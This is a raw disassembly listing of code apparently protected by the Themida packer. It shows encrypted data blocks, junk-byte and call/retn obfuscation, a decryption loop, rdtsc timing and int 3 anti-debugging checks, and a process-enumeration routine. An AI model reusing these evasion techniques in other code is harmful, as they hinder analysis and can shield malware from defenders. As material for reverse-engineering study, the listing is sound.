0FB8B0000h, 0C032CB8Bh, 2BFD75AEh, 2BD9F7CFh, 49D78BF9h dd 0EBD98Bh, 13F20CDh, 0C00B0001h, 708D1874h, 8BFA8B0Ch dd 0A75A6CBh, 0B8FA7549h, 1, 8B09EBh, 0B8E4EBh, 0CF000000h dd 15850Fh, 890F0000h, 0Fh, 0AE9h, 571BB500h, 4A4F6674h dd 0E90C142Bh, 0Eh, 0E6C6404Ch, 3FB4462Fh, 0CF62056Eh dd 0DE94D44h, 0B9000000h, 0F1347129h, 91C4190Bh, 0DF03949Eh ; --------------------------------------------------------------------------- loc_5DD484: ; CODE XREF: sub_5DD2A1:loc_5DD33Cj mov dword ptr [ebp+7FF9FDDh], 1013Fh lea ecx, [ebp+7FFA101h] push 0 push ebx call sub_5DD49F and [ebx-3Dh], bl sub_5DD2A1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5DD49F proc near ; CODE XREF: sub_5DD2A1+1F6p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_5DD49F endp ; --------------------------------------------------------------------------- or [edi], cl mov edi, 0D98D89D7h sbb al, 0FAh pop es push 0 push esi call sub_5DD4C4 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5DD4C4 proc near ; CODE XREF: Themida_:005DD4BCp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_5DD4C4 endp ; --------------------------------------------------------------------------- aaa test byte ptr [eax-40h], 7Ch cmp dh, [eax+29h] sub [ebp+7FA006Dh], edi mov dword ptr [ebp+7FA31ADh], 5E58h xor [ebp+7FA14B9h], edx mov dword ptr [ebp+7FA2BD9h], 0 mov di, 0CE34h push dword ptr [ebp+7FA2EA9h] push 0 push ebx call sub_5DD511 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5DD511 proc near ; CODE XREF: Themida_:005DD509p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_5DD511 endp ; --------------------------------------------------------------------------- db 2Eh, 0C7h, 0C5h ; --------------------------------------------------------------------------- or ebp, [ebp-76353492h] mov ebp, 7FA3395h call dword ptr [ebp+7FA1799h] or eax, [ebp+7FA29E5h] push 0 call dword ptr [ebp+7FA1019h] mov eax, eax jmp short loc_5DD5B5 ; --------------------------------------------------------------------------- db 0C0h dd 826DA65Dh, 39468A1Bh, 450697FEh, 79F64E12h, 3E140D67h dd 0E182B9Eh, 0F16E765h, 6FFEC162h, 0C541CA27h, 3C8501C5h dd 0C13CEEA6h, 0A9F39310h, 1E5E4074h, 5BF1E435h, 0AA0EA38h dd 380EF58Eh, 0A91EAAA7h, 976F6E89h, 6C4E0841h, 676130F3h dd 0F0683665h, 0D3D6DD99h, 86183391h, 0E75F6FE6h, 3D706EF0h dd 5D372EA9h, 0F87DB603h db 79h ; --------------------------------------------------------------------------- loc_5DD5B5: ; CODE XREF: Themida_:005DD545j call sub_5DD5CB dec esp test al, 91h cmp dh, [ebx] sti int 3 ; Trap to Debugger db 64h jl short near ptr loc_5DD640+3 db 2Eh mov esi, 0DCE1D5C7h ; =============== S U B R O U T I N E ======================================= sub_5DD5CB proc near ; CODE XREF: Themida_:loc_5DD5B5p pusha call sub_5DD5DF pop edi mov cl, 7Bh xor al, 3 aas out 10h, eax pop ecx movsb retn 0C53h sub_5DD5CB endp ; --------------------------------------------------------------------------- db 0EBh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_5DD5DF proc near ; CODE XREF: sub_5DD5CB+1p jmp sub_5DD5F5 sub_5DD5DF endp ; --------------------------------------------------------------------------- dd 0DEB1C8Ch, 0CC9BF650h, 43C8384h, 23CE08C1h db 0E5h ; =============== S U B R O U T I N E ======================================= sub_5DD5F5 proc near ; CODE XREF: sub_5DD5DFj pop ebx popa pop ebx mov [ebp+7FA0061h], edx add ebx, 6890h mov dh, ch push 0 mov edx, edi pop ecx mov esi, [ebp+7FA17A9h] loc_5DD614: ; CODE XREF: sub_5DD5F5+6Dj mov edi, [ebx+ecx] mov al, 0CDh xor edi, 666BF22Fh xor [ebp+7FA33E1h], eax add edi, 3EE32A4Ch mov esi, [ebp+7FA3229h] add edi, 0B84B32Eh cld mov [ebx+ecx], edi or si, 6DC7h loc_5DD640: ; CODE XREF: Themida_:005DD5C2j add si, 74E7h sub ecx, 68B2D308h or edx, [ebp+7FA0EE9h] add ecx, 68B2D304h mov esi, 5F72C378h cmp ecx, 0FFFF9820h jnz loc_5DD614 xor eax, [ebp+7FA0E65h] lea ecx, [ebp+7FFA310h] push 0 push ebp call sub_5DD67F and [ebp-3Dh], bl sub_5DD5F5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5DD67F proc near ; CODE XREF: sub_5DD5F5+82p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_5DD67F endp ; --------------------------------------------------------------------------- db 0E7h ; --------------------------------------------------------------------------- mov edi, [ebp+7FA208Dh] mov [ebp+7FA1CD9h], ecx push 0 push eax call sub_5DD6A7 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5DD6A7 proc near ; CODE XREF: Themida_:005DD69Fp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_5DD6A7 endp ; --------------------------------------------------------------------------- db 45h dd 0F5637705h, 2948FC1h, 0AD85C72Eh, 407FA31h, 6A00005Eh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 0C76BC357h, 34C53638h, 0F84396E5h, 2BD985C7h dd 7FAh, 0BA660000h, 0B5FFC575h, 7FA243Dh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0AAC35646h, 12E862h dd 5B770000h, 7336FE76h, 5B2CFE2Ch, 3B01E315h, 4A602DCh dd 2F99BD03h, 0FF5A07FAh, 0FA179995h, 43F8B807h, 6A5084h dd 101995FFh, 0C08B07FAh, 5CD25BEBh, 0F2827AD9h, 63B8281Fh dd 0F7E443C4h, 0C58D67F9h, 0AEFF6E19h, 6E7555Ch, 6F37E015h dd 56A1F6E6h, 92A91B8h, 3FFF91Fh, 9F653618h, 0EF9932B2h dd 4B9916B9h, 56B3996Eh, 0B29CE40Ah, 0B4787401h, 65E55DB9h dd 12DA9C4Ch, 9E29BC7Dh, 8D18C0BCh, 0B61883C0h, 0CF15AFB4h dd 2CE9B1h, 4E5A0000h, 5433h, 9 dup(0) dd 4AE90000h, 4D000005h, 0F29FD5C9h, 9B487E20h, 41EE247Ah dd 0ED9AD0CEh, 10447A24h, 19D745Bh, 0A8F61ECBh, 534BC572h dd 0FBA3701Dh, 829EF6C5h, 7E6261Fh, 0A728DF45h, 1CD0216Ch dd 6BF21713h, 0FF127702h, 57BC699Fh, 0E99050Bh, 0C2EC7CE5h dd 0C40C8CC9h, 6737DC02h, 60C558FEh, 0FB60EBB3h, 0A3FC8717h dd 0A952953h, 33F206D8h, 0E6EBB417h, 2089E2FFh, 703FF97Ah dd 1EA9F51Bh, 71A24FF5h, 0C64AF72Dh, 1BF5A2D8h, 8193F883h dd 0D700921Dh, 8BD7391Dh, 73D6F285h, 0A1FFE6EBh, 4076DF48h dd 8E1E8093h, 1CC2DC39h, 0EAF75D89h, 0B526FFE6h, 0F7BCF4FBh dd 695A3874h, 0EB000000h, 0A7326CA7h, 0E683167Bh, 18D243FFh dd 8591F49h, 0D2037E9Ch, 8245C2Ch, 1C23875h, 53000000h dd 1DF76BA7h, 3D8D1881h, 5BAF1813h, 0D177F923h, 25B0EE24h dd 0FD134FC0h, 84ED16A1h, 0AD67A0F9h, 1F829EDEh, 45FFE6F2h dd 799946ECh, 0D142EF25h, 99133DCDh, 5065DCB6h, 0A10A947Dh dd 0FB25BDFBh, 7DD51E92h, 742BD12Bh, 0A4346AA7h, 4ED9C54Fh dd 87EC7F25h, 6638D78Bh, 6938B2DBh, 5F1AC57h, 0F74CDC45h dd 0D1CD471Bh, 0EB41D46h, 0A0FE167Bh, 1265B015h, 0E6FF93F6h dd 0FF68C1FFh, 35EF3074h, 4600318Dh, 0AEF02277h, 0E8B65B08h dd 7F0E05B2h, 0B779A436h, 8520FA95h, 0C7BEFA74h, 0EF19A912h dd 631B6EEh, 21B45AD1h, 0BA4559BCh, 59E4BA55h, 0F37E20F4h dd 901B838Eh, 20DA0B67h, 0D8921378h, 74D089D1h, 31467038h dd 0CEE1741Eh, 37CAF424h, 73DCA288h, 62ECCDh, 0A77D0000h dd 59A9346Ah, 0EC920C04h, 38C8D63Fh, 0DC6C32E3h, 0E6835DC0h dd 842A83FFh, 1E4898F1h, 0A9DBAF98h, 0D657FD55h, 0C5D9381Ch dd 6F2FE28Fh, 0E907FE4h, 23DD5E83h, 7554D41Ch, 417238h dd 0BC030000h, 69F4AA67h, 24ED9A40h, 5F9FEF7Ah, 0E683E043h dd 7AD06FFh, 5DE8B65Ah, 3A1ED819h, 0DA91C7D7h, 0A8336BA7h dd 0E683167Ch, 1CD647FFh, 748EDD15h, 97B38h, 0D62B0000h dd 0B5E9273Bh, 0A7EFA64Ch, 40A5306Eh, 0D23FBAD3h, 0CB39B382h dd 0A3CC5747h, 141D13Ah, 0E73382E5h, 0F41BB0FFh, 8DF61FAAh dd 99C254E7h, 481AFBDFh, 0FC4CD7C7h, 0E7337DE0h, 0E14AA3FFh dd 55AA4278h, 3059E4BAh, 60298Ah, 49F65470h, 0ABD507E1h dd 0ACB9EF76h, 115A001Bh, 4BC82DB8h, 30851D53h, 0B34BFDFh dd 435BB865h, 0F33E68B8h, 6ADE364Ch, 0B3188C32h, 7D07E164h dd 167B0698h, 0D519A4FAh, 0AE32DA94h, 44CFB36Dh, 9C77245Ah dd 1127702h, 0AEF6129Dh, 3FE4BA59h, 163FCAD4h, 5135EF70h dd 0F74CDCC2h, 9DDB811Dh, 6F7095CDh, 1193340h, 0F3C40000h dd 0FA3ACA96h, 833B9EBAh, 0E05FFE6h, 7CF64F90h, 0D6AC7E69h dd 10842AE1h, 7E110BAh, 0DA3D5999h, 807E0F0h, 67C009AFh dd 29C77DCh, 0AAF41FCCh, 4559BA1Fh, 0B36D9EBAh, 245A44CFh dd 6EFC1C54h, 3FBA40h, 0F34B0000h, 0C36C69Ah, 971F61DCh dd 3F5BEB81h, 0FFE77BDCh, 730BB10Ah, 0E77AD457h, 1EA9027Fh dd 0E58A8FF2h, 813B647Fh, 2CBCA4E9h, 0D9643AD7h, 56720AB0h dd 0FFE589D3h, 8B72A801h, 93h, 0CA96F324h, 65BAFA3Ah, 3D66F1ADh dd 0E6836ED1h, 953B94FFh, 0E09AB721h, 809CDC07h, 7E0991Dh dd 3C62AE43h, 791F88B1h, 0E74CD730h, 8F3C722Ch, 4A8A1A84h dd 0E099CB2Eh, 0FAA0F907h, 9AD33B67h, 8FD007E0h, 7C22F1D5h dd 24FBC2ECh, 0C7B5733Eh, 782E321h, 5F89C959h, 9F3A27F7h dd 0D94DF374h, 0FE111E7h, 0EC4F6BEBh, 1AFFEBCAh, 68CD58C1h dd 0D668F3ABh, 2E5BF3ADh, 4CAFCB0Bh, 7AFFEBCBh, 0CB52B521h dd 2780FFEBh, 20122EBEh, 0C607EB6Fh, 0F380376Dh, 0FA3ACA96h dd 882E70A5h, 0E6272214h, 0CC57B007h, 0BD203C7Ch, 0E307E626h dd 7BDEFA8Ah, 0A907E626h, 16FDAA50h, 6EA55288h, 0F5801EF4h dd 88D863CCh, 80D33D5Eh, 0C352DF3Ah, 0BE2750DBh, 0BF88A418h dd 8EDE5BB2h, 73773064h, 1EC42A70h, 14FFE39Dh, 6CA7548Ah dd 4662A232h, 541A22E3h, 7977C11h, 5AEA537Ch, 1A23DB3Eh dd 0AB00954h, 0A1FD1277h, 0A15B8416h, 0B84856BDh, 59B6AC63h dd 2891BA45h, 7C974482h, 0D43D9222h, 0F29124CAh, 0Dh, 607CBC8Bh dd 0FFE682FDh, 8B24CA23h, 2F6FA72Ch, 0CAD43FA4h, 6836DA3Fh dd 29C78DDh, 9FFF1277h, 3C62AF14h, 0DBC34CB1h, 742AEB50h dd 108E84E9h, 0EC835285h, 24248904h, 4BE56h, 74010000h dd 535E0424h, 0C381E389h, 4, 4EB81h, 1C870000h, 1C895C24h dd 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h, 56243489h dd 3637F0BEh, 8BE68124h, 4658BF20h, 8102EEC1h, 0D90C08EEh dd 0EC68106h, 0BB274CC2h, 2880E1CCh, 685EF329h, 6BB3h dd 83242489h, 5E042404h, 8904EC83h, 8B82404h, 1000000h dd 581889F0h, 5E2434FFh, 0FF04C483h, 835B2434h, 5E904C4h dd 0ADFFFAD6h, 0A85DB8A5h, 0C50307FFh, 5D2DE0FFh, 0EE4E4C2Fh dd 1C7F6282h, 0E7B11B92h, 0B71B7769h, 39931672h, 3CE91C09h dd 1, 4Eh dup(0) dd 83000000h, 0FA0D95BDh, 840F0107h, 531h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0AFC35242h, 0F93B1720h dd 66585C6h, 0F84307FAh, 4E8h, 0A5D0F500h, 0EE9ECh, 583D0000h dd 1238B3FBh, 5B603283h, 1E30AAB9h, 52506050h, 0FFE8B66h dd 5A5E5031h, 52505058h, 585A310Fh, 448B615Ah, 66600424h dd 0B85852BAh, 3F61492Ch, 60008B61h, 0F525060h, 8B585A31h dd 896161DEh, 60042444h, 0BE8h, 0AEBC0C00h, 38BFD0E3h dd 82E380FEh, 12E8h, 5A00E800h, 3816E60Fh, 0DF1DE1Fh, 0BA4119EEh dd 58AE9F31h, 0BB9665Fh, 6A586178h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0DB17C353h dd 16EC387h, 18A0F18h, 0FC000000h, 0CE9h, 0A0789000h, 50153688h dd 4C546EEh, 95B5FFE8h, 0F07FA20h, 589h, 0EC806000h, 858D61E5h dd 7FDA3DDh, 6E9h, 617D4900h, 0F0848AAh, 38Ch, 61F56000h dd 6AD0FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 26FD7AC3h, 3E40145Fh, 619CB460h, 2ED8589h dd 0EE907FAh, 14000000h, 0A7AA96BAh, 0C203C98Ch, 0BFB5048h dd 85C6F9CBh, 7FA0665h, 128C0F50h, 0E9000000h, 0Dh, 64C566DAh dd 21041C97h, 12B1848Ah, 0BD656802h, 5250AE13h, 0AE860h dd 0AC20000h, 0D6DC4FA8h, 0CD7D3D5Ch, 310F6159h, 5E95250h dd 64000000h, 89F2BC10h, 6160310Fh, 585A585Ah, 33243481h dd 0F06BE10h, 0A86h, 810F6000h, 0 ; --------------------------------------------------------------------------- mov esi, ebx popa push dword ptr [ebp+7FA2095h] jz loc_5DE064 cld loc_5DE064: ; CODE XREF: Themida_:005DE05Dj pusha js $+6 mov cx, 8AEFh popa lea eax, [ebp+7FDA3DDh] pusha jmp loc_5DE08C ; --------------------------------------------------------------------------- dd 7B120070h, 314C089Fh, 77A46C99h, 0B9460AE8h ; --------------------------------------------------------------------------- loc_5DE08C: ; CODE XREF: Themida_:005DE077j jmp loc_5DE0A2 ; --------------------------------------------------------------------------- db 47h, 65h, 0D6h ; --------------------------------------------------------------------------- sub edx, [eax] pop ebp test byte ptr [esi+52h], 0D1h and eax, 70779CD7h sub al, 45h loc_5DE0A2: ; CODE XREF: Themida_:loc_5DE08Cj popa call eax clc mov [ebp+7FA0F09h], eax pusha call near ptr loc_5DE0B9+1 sbb [edi+ecx-22B32B68h], ebp loc_5DE0B9: ; CODE XREF: Themida_:005DE0ADp sub ebx, [edi+61h] clc call near ptr loc_5DE0C5+1 das test al, 8Fh loc_5DE0C5: ; CODE XREF: Themida_:005DE0BDp lock pusha popa push eax js loc_5DE0DB js loc_5DE0DB jnz $+6 loc_5DE0DB: ; CODE XREF: Themida_:005DE0C9j ; Themida_:005DE0CFj mov eax, [esp+4] pusha mov bx, 0C246h popa mov eax, [eax] pusha popa mov [esp+4], eax push eax push edx push eax push edx push eax push edx rdtsc pop edx pop eax rdtsc loc_5DE0F9: ; CODE XREF: Themida_:005DE177j push eax push edx rdtsc pop edx pop eax pop edx pop eax rdtsc push eax push edx push eax push edx rdtsc pop edx pop eax rdtsc push eax push edx rdtsc pop edx pop eax pop edx pop eax pop edx pop eax pop eax jmp loc_5DE129 ; --------------------------------------------------------------------------- db 0DFh, 0BDh, 0C0h dd 55625BD3h, 59A3D4CDh ; --------------------------------------------------------------------------- inc ebp loc_5DE129: ; CODE XREF: Themida_:005DE118j push dword ptr [ebp+7FA2095h] push 0 push edx call sub_5DE13A and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5DE13A proc near ; CODE XREF: Themida_:005DE132p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_5DE13A endp ; --------------------------------------------------------------------------- dw 53D1h ; --------------------------------------------------------------------------- add eax, 9DD38275h pusha jz loc_5DE15A pusha popa loc_5DE15A: ; CODE XREF: Themida_:005DE152j popa lea eax, [ebp+7FDA3DDh] pusha jbe loc_5DE16A push ecx pop ebx loc_5DE16A: ; CODE XREF: Themida_:005DE162j call near ptr sub_5DE17A ; --------------------------------------------------------------------------- push ecx cmpsd cmp eax, 0E92E4306h push edx jb short loc_5DE0F9 xlat ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_5DE17A proc far ; CODE XREF: Themida_:loc_5DE16Ap jmp near ptr sub_5DE18B sub_5DE17A endp ; --------------------------------------------------------------------------- db 76h dd 0D1CA97D2h, 49CECE0Dh db 3Ch, 0Ah, 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_5DE18B proc far ; CODE XREF: sub_5DE17Aj pop ebx popa jmp loc_5DE19E ; --------------------------------------------------------------------------- or al, 6Fh and eax, 7111E325h or al, 0A1h or al, 0F1h xchg eax, ebx loc_5DE19E: ; CODE XREF: sub_5DE18B+2j call eax pusha jp loc_5DE1AD add ecx, 560A15F4h loc_5DE1AD: ; CODE XREF: sub_5DE18B+16j push ecx sub di, 909Bh pop eax popa mov [ebp+7FA0A75h], eax pusha jno loc_5DE1C4 mov ah, 1Bh loc_5DE1C4: ; CODE XREF: sub_5DE18B+31j popa mov byte ptr [ebp+7FA0665h], 50h jmp loc_5DE1E3 ; --------------------------------------------------------------------------- db 50h, 0D6h, 0A8h dd 5964578Bh, 0DD38F480h, 1DE6FBFh db 0E8h, 0E4h, 7Ah ; --------------------------------------------------------------------------- loc_5DE1E3: ; CODE XREF: sub_5DE18B+41j pusha jle loc_5DE1EC pusha popa loc_5DE1EC: ; CODE XREF: sub_5DE18B+59j call near ptr sub_5DE1FC sub_5DE18B endp ; sp-analysis failed ; --------------------------------------------------------------------------- cmc push es retf ; --------------------------------------------------------------------------- dd 4E6BCDA2h, 0B9C29A6Dh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_5DE1FC proc far ; CODE XREF: sub_5DE18B:loc_5DE1ECp arg_10 = dword ptr 18h arg_1C = dword ptr 20h arg_33AD5C0F = byte ptr 33AD5C13h pop edx popa push 0F2F12B18h jmp loc_5DE21C ; --------------------------------------------------------------------------- dd 14721E65h, 0E1FEFB75h, 0AA7107B7h, 0D2C775B8h, 0C7A6979Eh ; --------------------------------------------------------------------------- loc_5DE21C: ; CODE XREF: sub_5DE1FC+7j xor [esp-20h+arg_1C], 656DF74Eh jmp loc_5DE234 ; --------------------------------------------------------------------------- dd 0D758598Ch, 4DE38159h, 0F030DC51h ; --------------------------------------------------------------------------- loc_5DE234: ; CODE XREF: sub_5DE1FC+27j push dword ptr [ebp+7FA08A5h] cmc pusha mov ecx, 24362695h jmp loc_5DE259 ; --------------------------------------------------------------------------- dw 3FD7h dd 22E4506Bh, 0ADE0EB51h, 0ACCEFB25h, 4C2B42DAh db 0EAh ; --------------------------------------------------------------------------- loc_5DE259: ; CODE XREF: sub_5DE1FC+45j popa lea eax, [ebp+7FA3AE2h] jmp loc_5DE273 ; --------------------------------------------------------------------------- not byte ptr [edx+29h] inc esp ja short loc_5DE273 aam 0BCh push esi lodsd retf ; --------------------------------------------------------------------------- db 83h, 0B5h, 79h ; --------------------------------------------------------------------------- loc_5DE273: ; CODE XREF: sub_5DE1FC+64j ; sub_5DE1FC+6Dj call eax jmp loc_5DE281 ; --------------------------------------------------------------------------- cmp [ebx+2BA43070h], ch sahf loc_5DE281: ; CODE XREF: sub_5DE1FC+79j mov [ebp+7FA25C5h], eax pusha sub al, 4Bh popa jmp loc_5DE3D1 ; --------------------------------------------------------------------------- cld jno loc_5DE2A4 pusha mov ax, 4D28h jg $+6 popa loc_5DE2A4: ; CODE XREF: sub_5DE1FC+96j push eax push eax push edx jmp loc_5DE2B3 ; --------------------------------------------------------------------------- xor bl, [ecx] cmp eax, 0CCC16018h loc_5DE2B3: ; CODE XREF: sub_5DE1FC+ABj rdtsc push eax push edx jmp loc_5DE2C2 ; --------------------------------------------------------------------------- dd 0EF7BC23Ch ; --------------------------------------------------------------------------- or ecx, [edi] loc_5DE2C2: ; CODE XREF: sub_5DE1FC+BBj rdtsc push eax push edx rdtsc pop edx pop eax pop edx pop eax pop edx pop eax mov [esp-18h+arg_10], ebp clc mov ebp, esp pusha popa add esp, 0FFFFFFFCh stc jb loc_5DE2F5 jmp loc_5DE2F5 ; --------------------------------------------------------------------------- db 25h, 0A9h, 26h dd 0D40C8E43h, 0DE54D4A0h, 5DFA7D98h db 0A8h ; --------------------------------------------------------------------------- loc_5DE2F5: ; CODE XREF: sub_5DE1FC+DEj ; sub_5DE1FC+E4j pusha cmc call $+5 pop edx sub edx, 7FFAEBBh mov dword ptr [ebp-4], 0 cmp dword ptr [edx+7FA0D95h], 1 jz loc_5DE3AF push edx push 0 push 0Fh call dword ptr [edx+7FA02EDh] pop edx mov [edx+7FFA916h], eax lea ebx, [edx+7FFA91Ah] push edx mov dword ptr [ebx], 128h push ebx push eax call dword ptr [edx+7FA0F09h] pop edx loc_5DE33F: ; CODE XREF: sub_5DE1FC+16Dj ; sub_5DE1FC+1A1j push edx lea ebx, [edx+7FFA91Ah] push ebx push dword ptr [edx+7FFA916h] call dword ptr [edx+7FA25C5h] pop edx or eax, eax jz short loc_5DE3A8 lea ebx, [edx+7FFA91Ah] lea edi, [ebx+24h] xor ecx, ecx loc_5DE363: ; CODE XREF: sub_5DE1FC+177j cmp ecx, 104h jz short loc_5DE33F inc ecx cmp dword ptr [ecx+edi], 4558452Eh jnz short loc_5DE363 lea esi, [ecx+edi] sub esi, [ebp+0Ch] lea edi, [edx+7FA11DDh] mov ecx, [ebp+0Ch] rep movsb xor al, al stosb push edx push dword ptr [ebp+8] lea eax, [edx+7FA11DDh] push eax call dword ptr [edx+7FA0A75h] pop edx or eax, eax jnz short loc_5DE33F mov dword ptr [ebp-4], 1 jmp short loc_5DE3AF ; --------------------------------------------------------------------------- loc_5DE3A8: ; CODE XREF: sub_5DE1FC+15Aj mov dword ptr [ebp-4], 0 loc_5DE3AF: ; CODE XREF: sub_5DE1FC+115j ; sub_5DE1FC+1AAj popa mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- jmp loc_5DE3CA ; --------------------------------------------------------------------------- dd 0CA84F5BCh, 1DAFEC00h, 99179E52h db 5Ah, 0BEh ; --------------------------------------------------------------------------- loc_5DE3CA: ; CODE XREF: sub_5DE1FC+1BBj cmc pusha movsx esi, si cmc popa loc_5DE3D1: ; CODE XREF: sub_5DE1FC+90j mov edx, edx dec esp adc esi, [edx+1Fh] db 26h mov edi, 63982B56h adc al, 0F2h xor [ecx+0], esi push es dec edx xor eax, 70FC7A7Ch lodsd cld aad 85h out dx, al xor dword ptr [ecx-7Bh], 0F1703390h add cl, dl mov al, ds:6A1D0405h mov [eax+0], al push cs xor ch, [esp+edi+33AD5BFFh] cmp eax, 7660AD5Fh lods dword ptr ss:[esi] xor ecx, [edi+15h] div al cld mov esp, 0B4D717F1h jmp near ptr 0AD8AD135h sub_5DE1FC endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 0F433h ; --------------------------------------------------------------------------- loc_5DE420: ; CODE XREF: Themida_:loc_5DE420j jbe short loc_5DE420 ; --------------------------------------------------------------------------- dw 91F0h dd 0F7031B19h, 9BB5A251h, 2933AD35h, 12A742B4h, 0D3304EDCh dd 0BA33C735h, 0F433AEDDh, 0B9688D35h, 196F246Eh, 0BA772C31h dd 4F33B431h, 6460EE35h, 1B403F7Eh, 0F8DB8B3Fh, 0E433AD35h dd 3ECFBC81h, 0BD2F5EADh, 0E4D49464h, 951FA2B5h, 0F92A5CB5h dd 6EB054BEh, 0EEC9B5CCh, 0E2B7A235h, 8233AD35h, 3D303EDCh dd 9E384435h, 0EF26AD35h, 80BDE13Ah, 47C836D6h, 5BB6201Bh dd 1C34529Ah, 7A33AD3Ah, 46DFC134h, 807727D4h, 517E73B6h dd 5F0B8D1Fh, 4D8C3D6Fh, 0B92BA52Bh, 19978F8Fh, 0FA3C3D6Ch dd 3D33AD22h, 9E33BDDDh, 5DCAF535h, 0DBA73CAFh, 0DEA53ABBh dd 506678h, 79695888h, 859C39B0h, 6E33C732h, 9E33AEDDh dd 8C688D35h, 836F246Eh, 0F7772C31h, 0E933B431h, 3760EE35h dd 0A24E7B5Ah, 0D4A36DDFh, 9E33AD21h, 14AD430Dh, 0D7E4C47Ah dd 0B460E6F9h, 0F1F9C102h, 623FDDA2h, 0FA653D65h, 6A6A56F4h dd 9BA6526Ah, 2F34571Ch, 0A733A3DCh, 7CE39E35h, 39C021C4h dd 1ECE7BDAh, 1AAC8606h, 6B496EB4h, 1B3C9488h, 4F33AD35h dd 67B8CC54h, 3B62AD5Fh, 0E933AD36h, 0ADF0F415h, 7E17E1BCh dd 3917E9B4h, 9E33AD21h, 6F0FC74h, 0A733ABDDh, 53B7D635h dd 5341D71Ch, 0FBADD573h, 0B78E2E6Ch, 3D34571Fh, 23B0A440h dd 48C9B5ACh, 0F72AD935h, 6BF32666h, 0E933A94Fh, 0D4FA28BCh dd 0E7BEAACFh, 3ACF4F11h, 0C6687ECAh, 57AA10B6h, 0D333AACFh dd 6B60FD22h, 0E933A94Fh, 0D4FA28BCh, 0E7BEAACFh, 3ACF7226h dd 0C6687ECAh, 0A761AD5Fh, 0A733AD36h, 89F0F715h, 0ED17F9BCh dd 0F017E9B4h, 7A33AD2Ch, 9FF0FF77h, 0C80B85Eh, 4F3B451Eh dd 4D59AD35h, 95A1C9CFh, 968D28C4h, 0AE357E81h, 10F326CCh dd 3EDBFF35h, 0BE33AD35h, 0C6696E6Fh, 26378961h, 0C6378971h dd 0AB33AD35h, 0F7076E67h, 0E6AE20C0h, 0D434529Ah, 9E33AD25h dd 7016C478h, 6A45759Ch, 0C988C5C2h, 5991B9A4h, 6B3228B8h dd 7A59AACAh, 3D304564h, 0C713AD35h, 3BAF4F6h, 0E3B2A911h dd 0D327A911h, 0B872AD35h, 7B3C54F6h, 7A33AD37h, 0EDCC7BBEh dd 63531367h, 446CE351h, 20B7A2F5h, 0B933AD35h, 0EADBFB35h dd 0D433AD35h, 0F36D6E6Bh, 0BC378941h, 89378971h, 933AD35h dd 3A6E6E63h, 0C2DBF4ECh, 6033AD35h, 0D84FFFCEh, 0DF7A5404h dd 4E941AB4h, 0B33502FAh, 0D2BEF7C0h, 0A0C9E253h, 2AC42653h dd 0E933AE8Dh, 0A133C735h, 7A33AEDDh, 0FE6E8D35h, 0BA5F2468h dd 6B772C31h, 0A733B031h, 1066E835h, 9B632456h, 61496733h dd 0B4B8E388h, 2EDA4ECAh, 1033AD35h, 5B6A8DA4h, 37AAA09Fh dd 1B949B7Fh, 0D62F8D1Bh, 69BEE973h, 7DCC0291h, 0D566AD5Fh dd 9E33AD36h, 12F0F015h, 0A317C1BCh, 0D717E9B4h, 0E933AD20h dd 0B3F0F870h, 8484A237h, 0A23228B8h, 61CAAACAh, 40F3A6E5h dd 0A733B0B1h, 878ACB35h, 8FAE20BEh, 0FB34577Ah, 7A33ADB4h dd 3D321535h, 0F853AD35h, 2EA8A78Dh, 3ABE4ECAh, 0D4CC029Ch dd 164AD5Fh, 0F433AD36h, 25F0F215h, 3917D1BCh, 9A17E9B4h dd 4F33AD2Eh, 29F0FA72h, 0B0662D35h, 8FAA79A6h, 79D3BB8Ah dd 85ACACB0h, 3D3B4532h, 8F0AAD35h, 8E2C9BAh, 0B7DA8675h dd 8433AD35h, 0A37CCB41h, 0E3FB91Eh, 0F03D3A03h, 62C0E5EEh dd 1A3C7DCAh, 4F33AD30h, 446F958Fh, 0DCF3A654h, 0E933F2B1h dd 0F43B4435h, 7BC6AD35h, 0D5E84760h, 3BE183Bh, 48C9E253h dd 4F61AD5Fh, 0D333AD36h, 0B3F0F715h, 0F017F9BCh, 7E17E9B4h dd 3D33AD2Dh, 58F0FF77h, 55B213D5h, 1FF92653h, 0D333AD36h dd 163AD5Fh, 0F433AD36h, 22F0F515h, 3917E9BCh, 9A17E9B4h dd 4F33AD2Ch, 9BF0FD75h, 9BA6BA4Fh, 1CD052C8h, 94FA2D76h dd 0D5A110B8h, 0B0BEAACAh, 99CC1ECEh, 46FD08Dh, 72B69EBFh dd 0F834571Ch, 0BEDA6CFAh, 0CC029169h, 66AD5F7Dh, 33AD36D5h dd 0F0F0159Eh, 17C1BC12h, 17E9B4A3h, 0F305E983h, 6AC08BA4h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h 